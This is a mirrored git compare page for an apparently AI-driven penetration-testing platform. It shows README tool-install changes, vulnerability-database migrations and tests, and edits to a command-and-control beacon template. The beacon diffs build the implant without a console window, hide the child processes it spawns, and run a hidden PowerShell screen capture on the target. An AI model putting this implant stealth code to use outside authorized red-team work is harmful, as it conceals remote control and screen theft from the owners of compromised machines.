mirror of
https://github.com/Ed1s0nZ/CyberStrikeAI.git
synced 2026-06-12 17:17:49 +02:00
Compare commits
21 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 1d3b4c44e1 | |||
| cbd64173b8 | |||
| af71c6aa24 | |||
| 97a73a1cb6 | |||
| 83e1c707ca | |||
| 96ccbff77c | |||
| c4bd8b93f6 | |||
| d005268d28 | |||
| 7f4e8d2ad2 | |||
| f3be355820 | |||
| bf0ce33e3f | |||
| 4661862a1a | |||
| f319a0f243 | |||
| 15c4802319 | |||
| 6ffde48b0c | |||
| c5e2f0d95d | |||
| 28a826d5b7 | |||
| 6365de7018 | |||
| 2e4bf7197b | |||
| ed4ba08163 | |||
| 8b5e55a673 |
@@ -189,15 +189,21 @@ The `run.sh` script will automatically:
|
||||
```
|
||||
- Or edit `config.yaml` directly before launching
|
||||
2. **Login** - Use the auto-generated password shown in the console (or set `auth.password` in `config.yaml`)
|
||||
3. **Install security tools (optional)** - Install all tools declared under `tools/`:
|
||||
3. **Install security tools (optional)** - Install tools from `tools/` as needed; missing tools are skipped or substituted at runtime. Common examples:
|
||||
|
||||
**macOS (Homebrew):**
|
||||
```bash
|
||||
./install-tools.sh # install missing tools (best on Kali/Debian/Ubuntu)
|
||||
./install-tools.sh --check # check only, no install
|
||||
./install-tools.sh --list # show per-tool status
|
||||
./install-tools.sh --only nmap,gau # install selected tools only
|
||||
brew install nmap masscan sqlmap nikto gobuster ffuf hydra hashcat nuclei subfinder
|
||||
```
|
||||
On macOS, install bash 4+ via Homebrew first; without apt, the script falls back to pip/go/GitHub.
|
||||
AI automatically falls back to alternatives when a tool is missing.
|
||||
|
||||
**Linux (Kali / Debian / Ubuntu):**
|
||||
```bash
|
||||
sudo apt update
|
||||
sudo apt install -y nmap masscan sqlmap nikto gobuster hydra hashcat john binwalk
|
||||
# On some distros, install ffuf/nuclei/subfinder via go install or upstream docs
|
||||
```
|
||||
|
||||
See the `tools/` directory for the full list; refer to each tool's official docs for install details.
|
||||
|
||||
**Alternative Launch Methods:**
|
||||
```bash
|
||||
|
||||
+13
-7
@@ -188,15 +188,21 @@ chmod +x run.sh && ./run.sh
|
||||
```
|
||||
- 或启动前直接编辑 `config.yaml` 文件
|
||||
2. **登录系统** - 使用控制台显示的自动生成密码(或在 `config.yaml` 中设置 `auth.password`)
|
||||
3. **安装安全工具(可选)** - 一键安装 `tools/` 目录声明的全部工具:
|
||||
3. **安装安全工具(可选)** - 按需安装 `tools/` 目录中的工具;未安装的工具在执行时会自动跳过或改用替代方案。常用示例:
|
||||
|
||||
**macOS(Homebrew):**
|
||||
```bash
|
||||
./install-tools.sh # 安装缺失工具 (Kali/Debian/Ubuntu 推荐)
|
||||
./install-tools.sh --check # 仅检查, 不安装
|
||||
./install-tools.sh --list # 列出各工具安装状态
|
||||
./install-tools.sh --only nmap,gau # 只装指定工具
|
||||
brew install nmap masscan sqlmap nikto gobuster ffuf hydra hashcat nuclei subfinder
|
||||
```
|
||||
macOS 自带 bash 3.2, 请用 `./install-tools.sh --install-bash --list` 自动安装 bash 4+; apt 不可用时会降级到 pip/go/GitHub。
|
||||
未安装的工具在执行时会自动跳过或改用替代方案。
|
||||
|
||||
**Linux(Kali / Debian / Ubuntu):**
|
||||
```bash
|
||||
sudo apt update
|
||||
sudo apt install -y nmap masscan sqlmap nikto gobuster hydra hashcat john binwalk
|
||||
# 部分发行版需自行安装:ffuf、nuclei、subfinder 等可用 go install 或见各工具官网
|
||||
```
|
||||
|
||||
完整工具列表见 `tools/` 目录;各工具安装方式以官方文档为准。
|
||||
|
||||
**其他启动方式:**
|
||||
```bash
|
||||
|
||||
+1
-1
@@ -10,7 +10,7 @@
|
||||
# ============================================
|
||||
|
||||
# 前端显示的版本号(可选,不填则显示默认版本)
|
||||
version: "v1.6.35"
|
||||
version: "v1.6.36"
|
||||
# 服务器配置
|
||||
server:
|
||||
host: 0.0.0.0 # 监听地址,0.0.0.0 表示监听所有网络接口
|
||||
|
||||
-1064
File diff suppressed because it is too large
Load Diff
@@ -293,8 +293,8 @@ func registerListVulnerabilitiesTool(mcpServer *mcp.Server, db *database.DB, log
|
||||
},
|
||||
"status": map[string]interface{}{
|
||||
"type": "string",
|
||||
"description": "按状态筛选:open、confirmed、fixed、false_positive",
|
||||
"enum": []string{"open", "confirmed", "fixed", "false_positive"},
|
||||
"description": "按状态筛选:open、confirmed、fixed、false_positive、ignored",
|
||||
"enum": []string{"open", "confirmed", "fixed", "false_positive", "ignored"},
|
||||
},
|
||||
"q": map[string]interface{}{
|
||||
"type": "string",
|
||||
|
||||
@@ -160,6 +160,18 @@ func (b *PayloadBuilder) BuildBeacon(in PayloadBuilderInput) (*BuildResult, erro
|
||||
}
|
||||
f.Close()
|
||||
|
||||
// 平台相关辅助源文件(如无窗口子进程)
|
||||
for _, name := range []string{"proc_hide_windows.go", "proc_hide_unix.go"} {
|
||||
helperSrc := filepath.Join(b.tmplDir, name+".tmpl")
|
||||
helperData, readErr := os.ReadFile(helperSrc)
|
||||
if readErr != nil {
|
||||
return nil, fmt.Errorf("read helper %s: %w", name, readErr)
|
||||
}
|
||||
if writeErr := os.WriteFile(filepath.Join(workDir, name), helperData, 0644); writeErr != nil {
|
||||
return nil, fmt.Errorf("write helper %s: %w", name, writeErr)
|
||||
}
|
||||
}
|
||||
|
||||
// 交叉编译
|
||||
binName := strings.TrimSpace(in.OutputName)
|
||||
if binName == "" {
|
||||
@@ -174,15 +186,16 @@ func (b *PayloadBuilder) BuildBeacon(in PayloadBuilderInput) (*BuildResult, erro
|
||||
return nil, fmt.Errorf("mkdir output: %w", err)
|
||||
}
|
||||
|
||||
absSrcPath, err := filepath.Abs(srcPath)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("abs source path: %w", err)
|
||||
}
|
||||
absBinPath, err := filepath.Abs(binPath)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("abs output path: %w", err)
|
||||
}
|
||||
cmd := exec.Command("go", "build", "-ldflags", "-s -w -buildid=", "-trimpath", "-o", absBinPath, absSrcPath)
|
||||
ldflags := "-s -w -buildid="
|
||||
if goos == "windows" {
|
||||
// 无控制台窗口运行 beacon 本体
|
||||
ldflags += " -H windowsgui"
|
||||
}
|
||||
cmd := exec.Command("go", "build", "-ldflags", ldflags, "-trimpath", "-o", absBinPath, ".")
|
||||
cmd.Env = append(os.Environ(),
|
||||
"GOOS="+goos,
|
||||
"GOARCH="+goarch,
|
||||
|
||||
@@ -729,6 +729,7 @@ func runWithTimeout(cmdStr string, timeoutSec int) (string, error) {
|
||||
timeoutSec = 60
|
||||
}
|
||||
cmd := exec.Command(shellByOS(), shellFlag(), cmdStr)
|
||||
prepareHiddenCmd(cmd)
|
||||
cwdMu.Lock()
|
||||
cmd.Dir = currentCwd
|
||||
cwdMu.Unlock()
|
||||
@@ -959,7 +960,7 @@ func taskScreenshot() (string, string, string, string) {
|
||||
b64Out, err = runWithTimeout("import -window root /tmp/.cs_ss.png 2>/dev/null && base64 /tmp/.cs_ss.png && rm -f /tmp/.cs_ss.png", 30)
|
||||
case "windows":
|
||||
ps := `Add-Type -AssemblyName System.Windows.Forms; Add-Type -AssemblyName System.Drawing; $b=New-Object System.Drawing.Bitmap([System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width,[System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $g=[System.Drawing.Graphics]::FromImage($b); $g.CopyFromScreen([System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Location,[System.Drawing.Point]::Empty,$b.Size); $m=New-Object IO.MemoryStream; $b.Save($m,[System.Drawing.Imaging.ImageFormat]::Png); [Convert]::ToBase64String($m.ToArray())`
|
||||
b64Out, err = runWithTimeout(fmt.Sprintf("powershell -NoProfile -NonInteractive -Command \"%s\"", ps), 30)
|
||||
b64Out, err = runWithTimeout(fmt.Sprintf("powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command \"%s\"", ps), 30)
|
||||
default:
|
||||
return "", "", "", "screenshot not supported on " + runtime.GOOS
|
||||
}
|
||||
@@ -1200,6 +1201,7 @@ func taskLoadAssembly(payload map[string]interface{}) (string, string, string, s
|
||||
cmdArgs = strings.Fields(args)
|
||||
}
|
||||
cmd := exec.Command(tmpFile, cmdArgs...)
|
||||
prepareHiddenCmd(cmd)
|
||||
cwdMu.Lock()
|
||||
cmd.Dir = currentCwd
|
||||
cwdMu.Unlock()
|
||||
|
||||
@@ -0,0 +1,9 @@
|
||||
//go:build !windows
|
||||
|
||||
package main
|
||||
|
||||
import "os/exec"
|
||||
|
||||
func prepareHiddenCmd(cmd *exec.Cmd) {
|
||||
_ = cmd
|
||||
}
|
||||
@@ -0,0 +1,18 @@
|
||||
//go:build windows
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"os/exec"
|
||||
"syscall"
|
||||
)
|
||||
|
||||
// prepareHiddenCmd 避免子进程弹出控制台窗口(cmd / powershell / 临时 exe 等)。
|
||||
func prepareHiddenCmd(cmd *exec.Cmd) {
|
||||
if cmd == nil {
|
||||
return
|
||||
}
|
||||
// 仅用 HideWindow:等价于 CREATE_NO_WINDOW,且 macOS/Linux 交叉编译 Windows 时
|
||||
// syscall.CREATE_NO_WINDOW 常量不可用。
|
||||
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
|
||||
}
|
||||
@@ -239,7 +239,7 @@ func (db *DB) CountBatchQueues(status, keyword string) (int, error) {
|
||||
// GetBatchTasks 获取批量任务队列的所有任务
|
||||
func (db *DB) GetBatchTasks(queueID string) ([]*BatchTaskRow, error) {
|
||||
rows, err := db.Query(
|
||||
"SELECT id, queue_id, message, conversation_id, status, started_at, completed_at, error, result FROM batch_tasks WHERE queue_id = ? ORDER BY id",
|
||||
"SELECT id, queue_id, message, conversation_id, status, started_at, completed_at, error, result FROM batch_tasks WHERE queue_id = ? ORDER BY rowid ASC",
|
||||
queueID,
|
||||
)
|
||||
if err != nil {
|
||||
|
||||
@@ -543,18 +543,28 @@ func (db *DB) UpdateConversationTime(id string) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
// DeleteConversation 删除对话及其所有相关数据
|
||||
// DeleteConversation 删除对话及其会话相关数据。
|
||||
// 由于数据库外键约束设置了 ON DELETE CASCADE,删除对话时会自动删除:
|
||||
// - messages(消息)
|
||||
// - process_details(过程详情)
|
||||
// - attack_chain_nodes(攻击链节点)
|
||||
// - attack_chain_edges(攻击链边)
|
||||
// - vulnerabilities(漏洞)
|
||||
// - conversation_group_mappings(分组映射)
|
||||
// 注意:knowledge_retrieval_logs 使用 ON DELETE SET NULL,记录会保留但 conversation_id 会被设为 NULL
|
||||
// 漏洞记录会保留:vulnerabilities.conversation_id 使用 ON DELETE SET NULL,仅解除与会话的关联。
|
||||
// 注意:knowledge_retrieval_logs 在删除前会被显式清理。
|
||||
func (db *DB) DeleteConversation(id string) error {
|
||||
// 删除对话前补全漏洞来源标签,便于在漏洞库中追溯已删除会话的发现。
|
||||
_, err := db.Exec(`
|
||||
UPDATE vulnerabilities
|
||||
SET conversation_tag = COALESCE(NULLIF(TRIM(conversation_tag), ''), (SELECT title FROM conversations WHERE id = ?))
|
||||
WHERE conversation_id = ?
|
||||
`, id, id)
|
||||
if err != nil {
|
||||
db.logger.Warn("更新漏洞来源标签失败", zap.String("conversationId", id), zap.Error(err))
|
||||
}
|
||||
|
||||
// 显式删除知识检索日志(虽然外键是SET NULL,但为了彻底清理,我们手动删除)
|
||||
_, err := db.Exec("DELETE FROM knowledge_retrieval_logs WHERE conversation_id = ?", id)
|
||||
_, err = db.Exec("DELETE FROM knowledge_retrieval_logs WHERE conversation_id = ?", id)
|
||||
if err != nil {
|
||||
db.logger.Warn("删除知识检索日志失败", zap.String("conversationId", id), zap.Error(err))
|
||||
// 不返回错误,继续删除对话
|
||||
@@ -567,7 +577,7 @@ func (db *DB) DeleteConversation(id string) error {
|
||||
}
|
||||
db.removeConversationScopedDirs(id)
|
||||
|
||||
db.logger.Info("对话及其所有相关数据已删除", zap.String("conversationId", id))
|
||||
db.logger.Info("对话已删除(漏洞记录已保留)", zap.String("conversationId", id))
|
||||
return nil
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,69 @@
|
||||
package database
|
||||
|
||||
import (
|
||||
"path/filepath"
|
||||
"testing"
|
||||
|
||||
"go.uber.org/zap"
|
||||
)
|
||||
|
||||
func TestDeleteConversationPreservesVulnerabilities(t *testing.T) {
|
||||
tmp := t.TempDir()
|
||||
dbPath := filepath.Join(tmp, "vuln-preserve.db")
|
||||
db, err := NewDB(dbPath, zap.NewNop())
|
||||
if err != nil {
|
||||
t.Fatalf("NewDB: %v", err)
|
||||
}
|
||||
defer db.Close()
|
||||
|
||||
conv, err := db.CreateConversation("vuln source chat", ConversationCreateMeta{})
|
||||
if err != nil {
|
||||
t.Fatalf("CreateConversation: %v", err)
|
||||
}
|
||||
|
||||
vuln, err := db.CreateVulnerability(&Vulnerability{
|
||||
ConversationID: conv.ID,
|
||||
Title: "SQL Injection",
|
||||
Severity: "high",
|
||||
Status: "open",
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("CreateVulnerability: %v", err)
|
||||
}
|
||||
|
||||
if err := db.DeleteConversation(conv.ID); err != nil {
|
||||
t.Fatalf("DeleteConversation: %v", err)
|
||||
}
|
||||
|
||||
got, err := db.GetVulnerability(vuln.ID)
|
||||
if err != nil {
|
||||
t.Fatalf("GetVulnerability after delete: %v", err)
|
||||
}
|
||||
if got.Title != "SQL Injection" {
|
||||
t.Fatalf("title = %q, want SQL Injection", got.Title)
|
||||
}
|
||||
if got.ConversationID != "" {
|
||||
t.Fatalf("conversation_id = %q, want empty after conversation delete", got.ConversationID)
|
||||
}
|
||||
if got.ConversationTag != "vuln source chat" {
|
||||
t.Fatalf("conversation_tag = %q, want vuln source chat", got.ConversationTag)
|
||||
}
|
||||
}
|
||||
|
||||
func TestMigrateVulnerabilitiesConversationFK(t *testing.T) {
|
||||
tmp := t.TempDir()
|
||||
dbPath := filepath.Join(tmp, "vuln-fk-migrate.db")
|
||||
db, err := NewDB(dbPath, zap.NewNop())
|
||||
if err != nil {
|
||||
t.Fatalf("NewDB: %v", err)
|
||||
}
|
||||
defer db.Close()
|
||||
|
||||
ok, err := vulnerabilitiesConversationFKOnDeleteSetNull(db.DB)
|
||||
if err != nil {
|
||||
t.Fatalf("vulnerabilitiesConversationFKOnDeleteSetNull: %v", err)
|
||||
}
|
||||
if !ok {
|
||||
t.Fatal("expected vulnerabilities.conversation_id FK to use ON DELETE SET NULL")
|
||||
}
|
||||
}
|
||||
@@ -357,7 +357,7 @@ func (db *DB) initTables() error {
|
||||
createVulnerabilitiesTable := `
|
||||
CREATE TABLE IF NOT EXISTS vulnerabilities (
|
||||
id TEXT PRIMARY KEY,
|
||||
conversation_id TEXT NOT NULL,
|
||||
conversation_id TEXT,
|
||||
conversation_tag TEXT,
|
||||
task_tag TEXT,
|
||||
title TEXT NOT NULL,
|
||||
@@ -371,7 +371,8 @@ func (db *DB) initTables() error {
|
||||
recommendation TEXT,
|
||||
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
updated_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
FOREIGN KEY (conversation_id) REFERENCES conversations(id) ON DELETE CASCADE
|
||||
project_id TEXT,
|
||||
FOREIGN KEY (conversation_id) REFERENCES conversations(id) ON DELETE SET NULL
|
||||
);`
|
||||
|
||||
// 创建批量任务队列表
|
||||
@@ -737,6 +738,9 @@ func (db *DB) initTables() error {
|
||||
db.logger.Warn("迁移vulnerabilities表失败", zap.Error(err))
|
||||
// 不返回错误,允许继续运行
|
||||
}
|
||||
if err := db.migrateVulnerabilitiesConversationFK(); err != nil {
|
||||
db.logger.Warn("迁移vulnerabilities会话外键失败", zap.Error(err))
|
||||
}
|
||||
|
||||
if err := db.migrateProjectsTable(); err != nil {
|
||||
db.logger.Warn("迁移projects相关表失败", zap.Error(err))
|
||||
@@ -1146,6 +1150,116 @@ func (db *DB) dropProjectFactVersionsTable() error {
|
||||
return err
|
||||
}
|
||||
|
||||
// migrateVulnerabilitiesConversationFK 将 vulnerabilities.conversation_id 外键改为 ON DELETE SET NULL,删除对话时保留漏洞记录。
|
||||
func (db *DB) migrateVulnerabilitiesConversationFK() error {
|
||||
ok, err := vulnerabilitiesConversationFKOnDeleteSetNull(db.DB)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if ok {
|
||||
return nil
|
||||
}
|
||||
|
||||
tx, err := db.Begin()
|
||||
if err != nil {
|
||||
return fmt.Errorf("开启事务失败: %w", err)
|
||||
}
|
||||
defer func() { _ = tx.Rollback() }()
|
||||
|
||||
const createNew = `
|
||||
CREATE TABLE vulnerabilities_new (
|
||||
id TEXT PRIMARY KEY,
|
||||
conversation_id TEXT,
|
||||
conversation_tag TEXT,
|
||||
task_tag TEXT,
|
||||
title TEXT NOT NULL,
|
||||
description TEXT,
|
||||
severity TEXT NOT NULL,
|
||||
status TEXT NOT NULL DEFAULT 'open',
|
||||
vulnerability_type TEXT,
|
||||
target TEXT,
|
||||
proof TEXT,
|
||||
impact TEXT,
|
||||
recommendation TEXT,
|
||||
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
updated_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
project_id TEXT,
|
||||
FOREIGN KEY (conversation_id) REFERENCES conversations(id) ON DELETE SET NULL
|
||||
);`
|
||||
if _, err := tx.Exec(createNew); err != nil {
|
||||
return fmt.Errorf("创建 vulnerabilities_new 失败: %w", err)
|
||||
}
|
||||
|
||||
const copyRows = `
|
||||
INSERT INTO vulnerabilities_new (
|
||||
id, conversation_id, conversation_tag, task_tag, title, description,
|
||||
severity, status, vulnerability_type, target, proof, impact, recommendation,
|
||||
created_at, updated_at, project_id
|
||||
)
|
||||
SELECT
|
||||
id, conversation_id, conversation_tag, task_tag, title, description,
|
||||
severity, status, vulnerability_type, target, proof, impact, recommendation,
|
||||
created_at, updated_at, project_id
|
||||
FROM vulnerabilities;`
|
||||
if _, err := tx.Exec(copyRows); err != nil {
|
||||
return fmt.Errorf("复制 vulnerabilities 数据失败: %w", err)
|
||||
}
|
||||
if _, err := tx.Exec(`DROP TABLE vulnerabilities`); err != nil {
|
||||
return fmt.Errorf("删除旧 vulnerabilities 表失败: %w", err)
|
||||
}
|
||||
if _, err := tx.Exec(`ALTER TABLE vulnerabilities_new RENAME TO vulnerabilities`); err != nil {
|
||||
return fmt.Errorf("重命名 vulnerabilities 表失败: %w", err)
|
||||
}
|
||||
|
||||
indexes := []string{
|
||||
`CREATE INDEX IF NOT EXISTS idx_vulnerabilities_conversation_id ON vulnerabilities(conversation_id)`,
|
||||
`CREATE INDEX IF NOT EXISTS idx_vulnerabilities_conversation_tag ON vulnerabilities(conversation_tag)`,
|
||||
`CREATE INDEX IF NOT EXISTS idx_vulnerabilities_task_tag ON vulnerabilities(task_tag)`,
|
||||
`CREATE INDEX IF NOT EXISTS idx_vulnerabilities_severity ON vulnerabilities(severity)`,
|
||||
`CREATE INDEX IF NOT EXISTS idx_vulnerabilities_status ON vulnerabilities(status)`,
|
||||
`CREATE INDEX IF NOT EXISTS idx_vulnerabilities_created_at ON vulnerabilities(created_at)`,
|
||||
`CREATE INDEX IF NOT EXISTS idx_vulnerabilities_project_id ON vulnerabilities(project_id)`,
|
||||
}
|
||||
for _, stmt := range indexes {
|
||||
if _, err := tx.Exec(stmt); err != nil {
|
||||
return fmt.Errorf("重建 vulnerabilities 索引失败: %w", err)
|
||||
}
|
||||
}
|
||||
|
||||
if err := tx.Commit(); err != nil {
|
||||
return fmt.Errorf("提交 vulnerabilities 外键迁移失败: %w", err)
|
||||
}
|
||||
db.logger.Info("vulnerabilities 表已迁移:删除对话时保留漏洞记录")
|
||||
return nil
|
||||
}
|
||||
|
||||
func vulnerabilitiesConversationFKOnDeleteSetNull(db *sql.DB) (bool, error) {
|
||||
rows, err := db.Query(`PRAGMA foreign_key_list(vulnerabilities)`)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
found := false
|
||||
for rows.Next() {
|
||||
var id, seq int
|
||||
var table, from, to, onUpdate, onDelete, match string
|
||||
if err := rows.Scan(&id, &seq, &table, &from, &to, &onUpdate, &onDelete, &match); err != nil {
|
||||
return false, err
|
||||
}
|
||||
if from == "conversation_id" {
|
||||
found = true
|
||||
if !strings.EqualFold(onDelete, "SET NULL") {
|
||||
return false, nil
|
||||
}
|
||||
}
|
||||
}
|
||||
if err := rows.Err(); err != nil {
|
||||
return false, err
|
||||
}
|
||||
return found, nil
|
||||
}
|
||||
|
||||
// migrateVulnerabilitiesTable 迁移 vulnerabilities 表,补充标签字段
|
||||
func (db *DB) migrateVulnerabilitiesTable() error {
|
||||
columns := []struct {
|
||||
|
||||
@@ -98,7 +98,7 @@ type Vulnerability struct {
|
||||
Title string `json:"title"`
|
||||
Description string `json:"description"`
|
||||
Severity string `json:"severity"` // critical, high, medium, low, info
|
||||
Status string `json:"status"` // open, confirmed, fixed, false_positive
|
||||
Status string `json:"status"` // open, confirmed, fixed, false_positive, ignored
|
||||
Type string `json:"type"`
|
||||
Target string `json:"target"`
|
||||
Proof string `json:"proof"`
|
||||
@@ -138,7 +138,7 @@ func (db *DB) CreateVulnerability(vuln *Vulnerability) (*Vulnerability, error) {
|
||||
|
||||
_, err := db.Exec(
|
||||
query,
|
||||
vuln.ID, vuln.ConversationID, nullIfEmpty(vuln.ProjectID), vuln.ConversationTag, vuln.TaskTag, vuln.Title, vuln.Description,
|
||||
vuln.ID, nullIfEmpty(vuln.ConversationID), nullIfEmpty(vuln.ProjectID), vuln.ConversationTag, vuln.TaskTag, vuln.Title, vuln.Description,
|
||||
vuln.Severity, vuln.Status, vuln.Type, vuln.Target,
|
||||
vuln.Proof, vuln.Impact, vuln.Recommendation,
|
||||
vuln.CreatedAt, vuln.UpdatedAt,
|
||||
@@ -154,7 +154,7 @@ func (db *DB) CreateVulnerability(vuln *Vulnerability) (*Vulnerability, error) {
|
||||
func (db *DB) GetVulnerability(id string) (*Vulnerability, error) {
|
||||
var vuln Vulnerability
|
||||
query := `
|
||||
SELECT id, conversation_id, COALESCE(project_id,''), title, description, severity, status,
|
||||
SELECT id, COALESCE(conversation_id,''), COALESCE(project_id,''), title, description, severity, status,
|
||||
conversation_tag, task_tag, vulnerability_type, target, proof, impact, recommendation,
|
||||
COALESCE((SELECT bt.id FROM batch_tasks bt WHERE bt.conversation_id = vulnerabilities.conversation_id LIMIT 1), '') AS task_id,
|
||||
COALESCE((SELECT bt.queue_id FROM batch_tasks bt WHERE bt.conversation_id = vulnerabilities.conversation_id LIMIT 1), '') AS task_queue_id,
|
||||
@@ -183,7 +183,7 @@ func (db *DB) GetVulnerability(id string) (*Vulnerability, error) {
|
||||
// ListVulnerabilities 列出漏洞
|
||||
func (db *DB) ListVulnerabilities(limit, offset int, filter VulnerabilityListFilter) ([]*Vulnerability, error) {
|
||||
query := `
|
||||
SELECT id, conversation_id, COALESCE(project_id,''), title, description, severity, status, conversation_tag, task_tag,
|
||||
SELECT id, COALESCE(conversation_id,''), COALESCE(project_id,''), title, description, severity, status, conversation_tag, task_tag,
|
||||
vulnerability_type, target, proof, impact, recommendation,
|
||||
COALESCE((SELECT bt.id FROM batch_tasks bt WHERE bt.conversation_id = vulnerabilities.conversation_id LIMIT 1), '') AS task_id,
|
||||
COALESCE((SELECT bt.queue_id FROM batch_tasks bt WHERE bt.conversation_id = vulnerabilities.conversation_id LIMIT 1), '') AS task_queue_id,
|
||||
@@ -403,7 +403,7 @@ func (db *DB) GetVulnerabilityFilterOptions() (map[string][]string, error) {
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("查询漏洞ID建议失败: %w", err)
|
||||
}
|
||||
conversationIDs, err := collect(`SELECT DISTINCT conversation_id FROM vulnerabilities WHERE conversation_id <> '' ORDER BY created_at DESC LIMIT 500`)
|
||||
conversationIDs, err := collect(`SELECT DISTINCT conversation_id FROM vulnerabilities WHERE conversation_id IS NOT NULL AND conversation_id <> '' ORDER BY created_at DESC LIMIT 500`)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("查询会话ID建议失败: %w", err)
|
||||
}
|
||||
|
||||
@@ -637,13 +637,26 @@ func (h *AgentHandler) runRobotEinoSingleWithRetry(
|
||||
var resultMA *multiagent.RunResult
|
||||
var errMA error
|
||||
var transientRunAttempts int
|
||||
var emptyResponseAttempts int
|
||||
for {
|
||||
resultMA, errMA = multiagent.RunEinoSingleChatModelAgent(
|
||||
taskCtx, h.config, &h.config.MultiAgent, h.agent, h.logger,
|
||||
conversationID, curMsg, curHist, roleTools, progressCallback, nil, h.projectBlackboardBlock(conversationID),
|
||||
)
|
||||
handledEmpty, exhaustedEmpty := h.handleEinoEmptyResponseContinue(
|
||||
taskCtx, conversationID, resultMA, errMA, &emptyResponseAttempts,
|
||||
&curHist, &curMsg, segmentUserMessage, progressCallback, nil,
|
||||
)
|
||||
if exhaustedEmpty {
|
||||
errMA = nil
|
||||
break
|
||||
}
|
||||
if handledEmpty {
|
||||
continue
|
||||
}
|
||||
if errMA == nil {
|
||||
transientRunAttempts = 0
|
||||
emptyResponseAttempts = 0
|
||||
break
|
||||
}
|
||||
if handled, _ := h.handleEinoTransientRetryContinue(
|
||||
@@ -673,14 +686,27 @@ func (h *AgentHandler) runRobotMultiAgentWithRetry(
|
||||
var resultMA *multiagent.RunResult
|
||||
var errMA error
|
||||
var transientRunAttempts int
|
||||
var emptyResponseAttempts int
|
||||
for {
|
||||
resultMA, errMA = multiagent.RunDeepAgent(
|
||||
taskCtx, h.config, &h.config.MultiAgent, h.agent, h.logger,
|
||||
conversationID, curMsg, curHist, roleTools, progressCallback,
|
||||
h.agentsMarkdownDir, orchestration, nil, h.projectBlackboardBlock(conversationID),
|
||||
)
|
||||
handledEmpty, exhaustedEmpty := h.handleEinoEmptyResponseContinue(
|
||||
taskCtx, conversationID, resultMA, errMA, &emptyResponseAttempts,
|
||||
&curHist, &curMsg, segmentUserMessage, progressCallback, nil,
|
||||
)
|
||||
if exhaustedEmpty {
|
||||
errMA = nil
|
||||
break
|
||||
}
|
||||
if handledEmpty {
|
||||
continue
|
||||
}
|
||||
if errMA == nil {
|
||||
transientRunAttempts = 0
|
||||
emptyResponseAttempts = 0
|
||||
break
|
||||
}
|
||||
if handled, _ := h.handleEinoTransientRetryContinue(
|
||||
|
||||
+105
-58
@@ -298,7 +298,7 @@ func (h *ConfigHandler) GetConfig(c *gin.Context) {
|
||||
}
|
||||
}
|
||||
|
||||
// 获取外部MCP工具
|
||||
// 获取外部MCP工具(走缓存,持锁期间通常不阻塞)
|
||||
if h.externalMCPMgr != nil {
|
||||
ctx := context.Background()
|
||||
externalTools := h.getExternalMCPTools(ctx)
|
||||
@@ -359,9 +359,6 @@ type GetToolsResponse struct {
|
||||
|
||||
// GetTools 获取工具列表(支持分页和搜索)
|
||||
func (h *ConfigHandler) GetTools(c *gin.Context) {
|
||||
h.mu.RLock()
|
||||
defer h.mu.RUnlock()
|
||||
|
||||
c.Header("Cache-Control", "no-store, no-cache, must-revalidate")
|
||||
|
||||
// 解析分页参数
|
||||
@@ -407,12 +404,37 @@ func (h *ConfigHandler) GetTools(c *gin.Context) {
|
||||
}
|
||||
}
|
||||
|
||||
includeExternal := true
|
||||
if v := strings.TrimSpace(strings.ToLower(c.Query("include_external"))); v == "0" || v == "false" || v == "no" {
|
||||
includeExternal = false
|
||||
}
|
||||
refreshExternal := false
|
||||
if v := strings.TrimSpace(strings.ToLower(c.Query("refresh_external"))); v == "1" || v == "true" || v == "yes" {
|
||||
refreshExternal = true
|
||||
}
|
||||
|
||||
// 按外部 MCP 名称筛选(MCP 管理页左侧卡片 → 右侧工具列表联动)
|
||||
externalMCPFilter := strings.TrimSpace(c.Query("external_mcp"))
|
||||
|
||||
// 快照配置后立即释放锁,避免外部 MCP 网络 IO 阻塞整个配置子系统
|
||||
h.mu.RLock()
|
||||
securityTools := append([]config.ToolConfig(nil), h.config.Security.Tools...)
|
||||
roles := h.config.Roles
|
||||
toolDescriptionMode := h.config.Security.ToolDescriptionMode
|
||||
mcpServer := h.mcpServer
|
||||
externalMCPMgr := h.externalMCPMgr
|
||||
h.mu.RUnlock()
|
||||
|
||||
pickDesc := func(shortDesc, fullDesc string) string {
|
||||
return pickToolDescriptionWithMode(toolDescriptionMode, shortDesc, fullDesc)
|
||||
}
|
||||
|
||||
// 解析角色参数,用于过滤工具并标注启用状态
|
||||
roleName := c.Query("role")
|
||||
var roleToolsSet map[string]bool // 角色配置的工具集合
|
||||
var roleUsesAllTools bool = true // 角色是否使用所有工具(默认角色)
|
||||
if roleName != "" && roleName != "默认" && h.config.Roles != nil {
|
||||
if role, exists := h.config.Roles[roleName]; exists && role.Enabled {
|
||||
if roleName != "" && roleName != "默认" && roles != nil {
|
||||
if role, exists := roles[roleName]; exists && role.Enabled {
|
||||
if len(role.Tools) > 0 {
|
||||
// 角色配置了工具列表,只使用这些工具
|
||||
roleToolsSet = make(map[string]bool)
|
||||
@@ -426,12 +448,12 @@ func (h *ConfigHandler) GetTools(c *gin.Context) {
|
||||
|
||||
// 获取所有内部工具并应用搜索过滤
|
||||
configToolMap := make(map[string]bool)
|
||||
allTools := make([]ToolConfigInfo, 0, len(h.config.Security.Tools))
|
||||
for _, tool := range h.config.Security.Tools {
|
||||
allTools := make([]ToolConfigInfo, 0, len(securityTools))
|
||||
for _, tool := range securityTools {
|
||||
configToolMap[tool.Name] = true
|
||||
